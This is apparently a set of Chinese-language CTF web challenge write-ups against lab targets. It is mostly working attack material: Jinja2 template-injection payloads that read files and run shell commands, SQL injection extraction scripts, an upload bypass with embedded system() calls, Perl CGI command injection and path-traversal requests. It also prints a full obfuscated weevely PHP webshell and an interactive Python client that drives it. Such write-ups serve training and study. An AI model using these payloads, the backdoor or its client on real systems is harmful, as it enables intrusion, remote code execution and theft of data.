http://111.200.241.244:63580/login.php/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

最終flag:
cyberpeace{30c9bf8b508298a2ba7c2493e6545f52}


題目名稱:bug
題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,發現是一個登錄頁面,而且有注冊頁面和密碼修改頁面、
http://111.200.241.244:63880/index.php?module=login
這里注冊一個測試賬號test
http://111.200.241.244:63880/index.php?module=register
測試賬號可以成功登陸




參數輸入admin1賬號,密碼任意,提示用戶名不存在
再參數輸入用戶名 admin,密碼任意,發現密碼不正確

根據賬號返回的信息提示,可知道系統中存在admin賬號

嘗試對test賬號進行密碼修改
http://111.200.241.244:63880/index.php?module=findpwd
發現可以成功修改密碼
http://111.200.241.244:63880/index.php?module=findpwd&step=1&doSubmit=yes

同時對修改密碼處進行抓包,將test賬號修改成admin,成功將admin的密碼修改為123456

使用admin賬號和密碼123456登陸系統,進入Manage選項時
http://111.200.241.244:63880/index.php
提示IP Not allowed!,猜測需要使用127.0.0.1訪問

在請求頭部添加X-Forwarded-For: 127.0.0.1字段,進行ip偽造請求成功,並在響應頁面返回了信息,其中在注釋中包含了一個鏈接地址:
index.php?module=filemanage&do=???

do的參數沒有給出,根據module=filemanage字眼,猜測do的內容與文件操作有關,do=upload是上傳點,經過嘗試得到完整的url為:

http://111.200.241.244:63880/index.php?module=filemanage&do=upload
根據頁面顯示"just image?"猜測需要繞過文件類型檢測,這里想到使用一句話圖片木馬上傳。
這里進行上傳一句戶圖片木馬,上傳結果顯示“Something shows it is a php”,其中檢查到內容包含了php代碼,這里做了文件內容過濾。
可通過<scrirpt>腳本繞過,那么可將一句話圖片木馬中的php代碼內容修改為:<script language="php">system("ls");</script>
上傳修改后的一句話圖片木馬,返回顯示為;You know what I want,證明上傳的.jpg后綴名也被過濾了。

經過測試這里不僅對后綴進行了黑名單過濾,同時會檢查文件頭的內容以及文件內容。
當上傳后綴名為.php4和php5,可繞過上傳,並獲得flag
最終flag:
cyberpeace{c634cfa6e4b3ffb3fd9e9b3343a76d2b}

題目名稱:leaking
題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,發現是一段node.js代碼

node.js 里提供了 vm 模塊,相當於一個虛擬機,可以讓你在執行代碼時候隔離當前的執行環境,避免被惡意代碼攻擊。但是這道題比較有意思

本題考點:

  1. node.js中VM2沙箱逃逸
  2. JS通過Buffer類處理二進制數據的緩沖區

首先給出題目的源碼:

"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
    VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
    res.header("Content-Type", "text/plain");

    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
    eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
    if (req.query.data && req.query.data.length <= 12) {
        var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));
    } else {
        res.send(fs.readFileSync(__filename).toString());
    }
});

app.listen(3000, function() {
    console.log("listening on port 3000!");
});
我們把關鍵幾行代碼列出來:
eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
eval就是把里面的當作javascript語句來運行
var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));
然后要Get傳遞一個data參數,將它放在vm2創建的沙盒中運行,並且對傳入的參數長度進行了限制,不超過12,這里可以用數組繞過。
該題定義變量flag,然后我們可以在沙箱里面執行任意的命令。那我們如何逃逸出去呢?
逃逸所需知識:
在較早一點的 node 版本中 (8.0 之前),當 Buffer 的構造函數傳入數字時, 會得到與數字長度一致的一個 Buffer,並且這個 Buffer 是未清零的。
8.0 之后的版本可以通過另一個函數 Buffer.allocUnsafe(size) 來獲得未清空的內存。
低版本的node可以使用buffer()來查看內存,只要調用過的變量,都會存在內存中
如果使用new Buffer(size)或其別名Buffer(size))創建,則對象不會填充零,而只要是調用過的變量,一定會存在內存中,
所以需要使用Buffer()來讀取內存,使用data=Buffer(500)分配一個500的單位為8位字節的buffer,因此很容易得到姿勢
這兒的環境是8.0之前的,所以我們使用Buffer()來讀取內存:
import requests
url = 'http://111.200.241.244:49495/?data=Buffer(500)'
response = ''
while 'flag' not in response:
req = requests.get(url)
response = req.text
print(req.status_code)
if 'flag{' in response:
print(response)
break
或者
# encoding=utf-8
import requests
import time
url = 'http://111.200.241.244:49495/?data=Buffer(500)'
response = ''
while 'flag' not in response:
req = requests.get(url)
response = req.text
print(req.status_code)
time.sleep(0.1)
if 'flag{' in response:
print(response)
break

最終flag:
flag{4nother_h34rtbleed_in_n0dejs}


題目名稱:unfinish
題目描述:sql
題目writeup:
啟動題目場景,獲得靶機網站,訪問網站,是一個登錄頁面
http://111.200.241.244:64668/login.php


這里嘗試通過御劍目錄掃描工具對其進行掃描,發現存在register.php路徑

訪問注冊頁面路徑,下面可以進行常規的注冊
登錄進去以后發現只顯示了注冊的用戶名

這里在用戶名注冊一個test'用戶,發現注冊失敗

再次嘗試用單引號閉合進行注冊
登錄進入后發現用戶名bk已經轉換成0,說明存在注入

嘗試一下這里是不是二次注入(這里注入,登陸后可以看到結果)

二次注入

二次注入的原理,在第一次進行數據庫插入數據的時候(注冊時),僅僅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 對其中的特殊字符進行了轉義,在寫入數據庫的時候還是保留了原來的數據,但是數據本身還是臟數據。

在將數據存入到了數據庫中之后,開發者就認為數據是可信的。在下一次進行需要進行查詢的時候(登錄后),直接從數據庫中取出了臟數據,沒有進行進一步的檢驗和處理,這樣就會造成SQL的二次注入。比如在第一次插入數據的時候,數據中帶有單引號,直接插入到了數據庫中;然后在下一次使用中在拼湊的過程中,就形成了二次注入。

我們就能構造類似

0'+1+'0

當登錄之后若是回顯出1,則存在二次注入,我們就可以構造類似

爆出數據庫

0'+ascii(substr(database() from 1 for 1)+'0

爆表

0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))+'0

語句0' + ascii(substr(database(),1,1)) +'0被過濾

嘗試了一遍,這里會檢測逗號,用from 1 for 1代替掉逗號就行

1' + ascii(substr(database() from 1 for 1)) +'1

登錄之后可以看到ascii碼

這里在寫腳本之前測試了一下,發現information_schema被過濾那就爆不了表名,所以猜測表名為flag

其中核心的注入代碼就是:
"0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i ,
substr的目的在於分割,防止字符串過長無法正常輸出,ascii轉換目的在於將flag與0想加不會出錯.
之后通過正則去獲取login.php頁面的用戶名值就是flag每一位的ascii碼值
flag.py:

# coding=utf8
import requests
import re

register_url = "http://111.200.241.244:64668/register.php"
login_url = "http://111.200.241.244:64668/login.php"
database = ""
table_name = ""
column_name = ""
flag = ""
#獲取數據庫名
for i in range(1,10):
register_data = {
'email':'test@test'+ str(i),
'username':"0'+ascii(substr((select database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'test@test'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
database = database + chr(int(asc))
print('database:',database)
#獲取表名
'''
for i in range(1,20):
register_data = {
'email':'test@test'+ str(i),
'username':"0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
print(r.text)
login_data = {
'email':'test@test'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
r.encoding = r.apparent_encoding
print(r.text)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
table_name = table_name + chr(int(asc))
print('table_name:',table_name)
'''
#獲取flag
for i in range(1,100):
register_data = {
'email':'test@test'+ str(i) + str(i),
'username':"0'+ascii(substr((select * from flag) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'test@test'+ str(i) + str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
flag = flag + chr(int(asc))
print('flag:',flag)

嘗試進行時間延遲注入:
# coding=utf8
import requests
import sys
url='http://111.200.241.244:64668/register.php'
flag=''
#爆數據庫sql="1' and (select case when ascii(substr(database() from {0} for 1))={1} then sleep(5) else 1 end) or ''='"
sql="1' and (select case when ascii(substr((select * from flag) from {0} for 1))={1} then sleep(5) else 1 end) or ''='"
for i in range(1,50):
print('guess:',str(i))
for ch in range(32,129):
if ch==128:
sys.exit(0)
sqli=sql.format(i,ch)
data={
"email":"111@qq.com",
"username":sqli,
"password":"admin"
}
try:
html=requests.post(url,data=data,timeout=3)
except:
flag+=chr(ch)
print(flag)
break

最終flag:
flag{2494e4bf06734c39be2e1626f757ba4c}

題目名稱:
題目writup:
啟動題目場景,獲得靶場網站,訪問網站后,有3個超鏈接,點進去都是.pl文件,.pl文件都是用perl編寫的網頁文件。


http://111.200.241.244:49188/cgi-bin/forms.pl
http://111.200.241.244:49188/cgi-bin/file.pl


點擊Files,可以上傳文件並把文件內容打印出來
猜想后台應該用了param()函數,其后台主要代碼如下:
use strict;
use warnings;
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) {
    my $file= $cgi->param( 'file' );
     while ( <$file> ) { print "$_"; }
}
param()函數會返回一個列表的文件但是只有第一個文件會被放入到下面的file變量中。如果我們傳入一個ARGV的文件,那么Perl會將傳入的參數作為文件名讀出來。
對正常的上傳文件進行修改,可以達到讀取任意文件的目的:
方法一:

bupsuit進行抓包,將上傳的文件類型及文件內容處復制再粘貼一行,將filename后面的內容去掉,內容填入ARGV,然后盲猜flag文件在/flag中,可直接讀取到flag的內容

ARGV內容如下:(------WebKitFormBoundarygKH5XY1IilLxk70d必須和下面請求相同)

------WebKitFormBoundarygKH5XY1IilLxk70d

Content-Disposition: form-data; name="file"


ARGV



方法二:


或者直接先讀取file.pl文件,猜測路徑為:/var/www/cgi-bin/file.pl

file.pl的內容確實是上文猜測的后台主要代碼,也用到了param()函數。

然后我們利用bash來進行讀取當前目錄下的文件,payload為:

/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/| 
通過管道的方式,執行任意命令,然后將其輸出結果用管道傳輸到讀入流中,這樣就可以保證獲取到flag文件的位置了。這里用到了${IFS}來作命令分割,原理是會將結果變成bash -c "ls/"的等價形式。
         
         
         
                 


列出了當前目錄下的內容,發現flag

/cgi-bin/file.pl?/flag #直接讀取/flag文件內容

或者
/cgi-bin/file.pl?cat%20/flag%20|            #使用命令讀取/flag文件內容



方法三:

首先查看當前目錄下的文件,發現當前目錄下沒有flag文件。payload為:

/cgi-bin/file.pl?ls%20-l%20.%20|

即執行ls -l . |命令,並查看到當前目錄有file.pl和forms.pl以及hello.pl三個pl文件。



然后查看file.pl的源代碼,發現確實使用了param()函數。payload為:

/cgi-bin/file.pl?./file.pl
         
         
         
                 

接着繼續尋找flag文件,查看根目錄,發現flag。payload為

/cgi-bin/file.pl?ls%20-l%20/%20|


最后讀取flag即可。payload為

/cgi-bin/file.pl?/flag
方法四:

使用awvs對靶機網站進行掃描,發現存在目錄穿越和xss漏洞
這里可以看到通過目錄穿越漏洞任意讀取到系統/etc/passwd的值

猜測flag在根目錄,直接讀取到flag的內容

最終flag:
cyberpeace{01763543ef73fc02f332735062b2e666}

題目名稱:Web_php_wrong_nginx_config
題目writeup:
啟動題目場景,獲得靶機網站,訪問網站,發現是一個登錄頁面
http://111.200.241.244:60458/login.php
       
       
       
               
輸入admin/admin登錄,提示“網站建設中”
       
       
       
               
通過dirsearch對目標靶機網站進行掃描,發現存在robots.txt以及admin目錄
python3  dirsearch.py  -u   http://111.200.241.244:60458/
訪問/robots.txt路徑,發現隱藏可訪問路徑hint.php和Hack.php。
http://111.200.241.244:60458/robots.txt
訪問hint.php頁面顯示了nginx的配置文件路徑:/etc/nginx/sites-enabled/site.conf
http://111.200.241.244:60458/hint.php
接着訪問Hack.php頁面,發現提示“請登錄”,點擊確定又返回到登錄頁面,這里可能有問題,猜測有邏輯漏洞存在。
http://111.200.241.244:60458/Hack.php
最后訪問admin頁面顯示,請繼續登錄
http://111.200.241.244:60458/admin/
我們對Hack.php頁面進行訪問,然后通過bupsuit對其抓包分析,發現cookie:isLogin=0處可能存在邏輯問題。
這里將isLogin=0修改為cookie:isLogin=1,然后進行請求,在響應包中發現是后台主頁內容
然后將cookie值修改為isLogin=1,並進行forward.
兩次對/earth.html頁面請求的cookie值進行修改為1並進行forward

后台看起來有很多選項卡,其實大部分都是假的,即使有幾個選項存在頁面跳轉,也都是指向index.php,沒有什么問題

真正的利用點在於管理中心 ,只有該鏈接可以跳轉。

http://111.200.241.244:60458/admin/admin.php

這里繼續將cookie的值修改為isLogin=1,然后進行請求,在響應包中心顯示了設備分組頁面內容。
繼續幾次forward后,可以看到一個url地址: /admin/admin.php?file=index&ext=php,該地址中的?file=參數看起來存在任意文件包含漏洞

嘗試對file=../../../../etc/passwd&ext=進行請求(注意修改cookie值),響應頁面顯示后台管理監控中心內容,但是/etc/passwd讀不出來
注意:ext一定不要寫東西,因為它是一個后綴,如果寫入php,的話,它會按照php進行打開,這里就留空白或者以txt形式打開。
嘗試對file=index../&ext=php進行請求(注意修改cookie值),響應頁面顯示后台管理監控中心內容且包含有please continue關鍵字

嘗試對file=index.../&ext=php進行請求(注意修改cookie值),頁面顯示后台管理監控中心內容且沒有please continue關鍵字,那么證明../已經被系統過濾了。



使用..././繞過過濾, 嘗試訪問 /admin/admin.php?file=..././..././..././..././etc/passwd&ext=,可以讀取系統的/etc/passwd值
       
       
       
               
讀取該系統nginx容器的配置文件/etc/nginx/sites-enabled/site.conf
嘗試訪問/admin/admin.php?file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=,可讀取到nginx的配置文件內容。

得到nginx的配置內容:
server { listen 8080; ## listen for ipv4; this line is default and implied listen [::]:8080; ## listen for ipv6 root /var/www/html; index index.php index.html index.htm; port_in_redirect off; server_name _; # Make site accessible from http://localhost/ #server_name localhost; # If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1; set $month $2; set $day $3; } # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off; set $http_x_forwarded_for_filt $http_x_forwarded_for; if ( $http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) { set $http_x_forwarded_for_filt $1???; } # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; location / { # First attempt to serve request as file, then # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args; server_tokens off; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } location ~ \.php $ { try_files $uri $uri/ /index.php?q= $uri& $args; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_index index.php; include fastcgi_params; fastcgi_param REMOTE_ADDR $http_x_forwarded_for; } location ~ /\. { log_not_found off; deny all; } location /web-img { alias /images/; autoindex on; } location ~* \.(ini|docx|pcapng|doc)$ { deny all; } include /var/www/nginx[.]conf; }
其中有個不正確的配置點:

location /web-img {

        alias /images/;

        autoindex on;

    }

alias 用於給 localtion 指定的路徑設置別名 , 在路徑匹配時 , alias 會把 location 后面配置的路徑丟棄掉 , 並把當前匹配到的目錄指向到 alias 指定的目錄 .
autoindex 是一個目錄瀏覽功能 , 用於列出當前目錄的所有文件及子目錄,這里在 URL 訪問 /web-img , 就會訪問系統根目錄下的 /images/

而如果在 URL 訪問 /web-img../ , 則相當於訪問 /images/../ , 即訪問系統根目錄 . 且由於開啟了 autoindex , 我們可以直接在瀏覽器里看到根目錄下的所有內容

嘗試訪問web-img/:

http://111.200.241.244:60458/web-img/

  
  
  
          
嘗試訪問web-img../,直接可以訪問到根目錄
訪問/web-img../var/www/路徑,發現hack.php.bak文件,它是hack.php的備份文件
http://111.200.241.244:60458/web-img../var/www/
訪問 http://111.200.241.244:60458/hack.php.bk,可下載下來,代碼已經被混淆加密了。
hack.php.bak的內容:
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>
看起來像是weevely 生成的 WebShell 后門, 嘗試輸出$f,在php代碼后加上echo $f,PHP_EOL;
    
    
    
            
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
echo $f,PHP_EOL;
?>
通過PHP在線運行工具,可直接運行輸出結果。
輸出的內容:
$kh="42f7";$kf="e9ac";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}
通過在線PHP代碼格式化美化工具對其進行美化。
得到美化后的代碼:
$kh="42f7";
$kf="e9ac";
function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for ($i=0;$i<$l;) {
        for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
            $o.=$t {
                $i
            }
            ^$k {
                $j
            }
            ;
        }
    }
    return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    if($q&&$m) {
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));
        $f=$sl($ss(md5($i.$kf),0,3));
        $p="";
        for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
        if(strpos($p,$h)===0) {
            $s[$i]="";
            $p=$ss($p,3);
        }
        if(array_key_exists($i,$s)) {
            $s[$i].=$p;
            $e=strpos($s[$i],$f);
            if($e) {
                $k=$kh.$kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

經過提示 這個是個后門,網上有利用腳本 https://www.cnblogs.com/go2bed/p/5920811.html  一個PHP混淆后門的分析。

按提示修改腳本中的config部分

利用腳本如下:
# encoding: utf-8

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result

def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result

def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result

def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result


def debugPrint(msg):
if debugging:
print msg

# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://111.200.241.244:60458/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))

# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload

# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)

# send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)

# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')
執行python腳本,並使用  system("ls") ; 查看當前目錄,發現存在 fllla4aggg.php文件,該文件包含flag內容
直接查看 fllla4aggg.php,可獲得flag內容
system("cat fllla4aggg.php");
最終flag:
ctf{a57b3698-eeae-48c0-a669-bafe3213568c}

    
    
    
            
題目名稱:Hello World
題目wireup:
訪問靶機網站,發現是一個顯示內容為“hello wold"的內容
查看源代碼,發現有一個flag.xmas.js的 js
訪問flag.xmas.js路徑,發現404頁面無法訪問
http://106.75.72.168:9999/flag.xmas.js


通過dirsearch.py對靶機網站進行目錄掃描,發現有.git目錄泄露
python3 dirsearch.py   -u  http://106.75.72.168:9999/
通過Git_Extract工具對目標靶機網站進行/.git/目錄進行下載
git clone https://github.com/gakki429/Git_Extract.git
python git_extract.py  http://106.75.72.168:9999/.git/
下載到本地,發現有flag.js和flagjs.04bbo9兩個不同的js
用diff對flag.js和flag.js.04bb09進行對比,不同之處就是flag的關鍵組成字符
flag{82efc37f1cd5d4636ea7cadcd5a814a2}
最終falg:
flag{82efc37f1cd5d4636ea7cadcd5a814a2}

題目名稱:Musee de X
題目內容:X在盧浮宮旁開了一個博物館,歡迎社會各界人士捐獻藏品
題目writeup:

打開提示我們如果要操作就需要登錄


首先注冊一個賬號wosun

http://106.75.72.168:8888/register.php


然后用這個賬號登錄系統

http://106.75.72.168:8888/index.php

 

通過donate.php頁面進行捐獻,這里地址任意填一個url網站地址(123.com),用戶名必須和注冊的用戶名一致(wosun)

http://106.75.72.168:8888/donate.php

 


提交后顯示了錯誤,jinja2模板注入

 

 text = jinja2.Template(text).render() 說明使用了jinja2

據此信息是jinjia2模板而我們的用戶名在text中,似乎就可以注入了

先注冊用戶名為({{前面的可以隨意修改,注冊成自己的用戶名吧)

wosun{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('cat flag*').read()}}

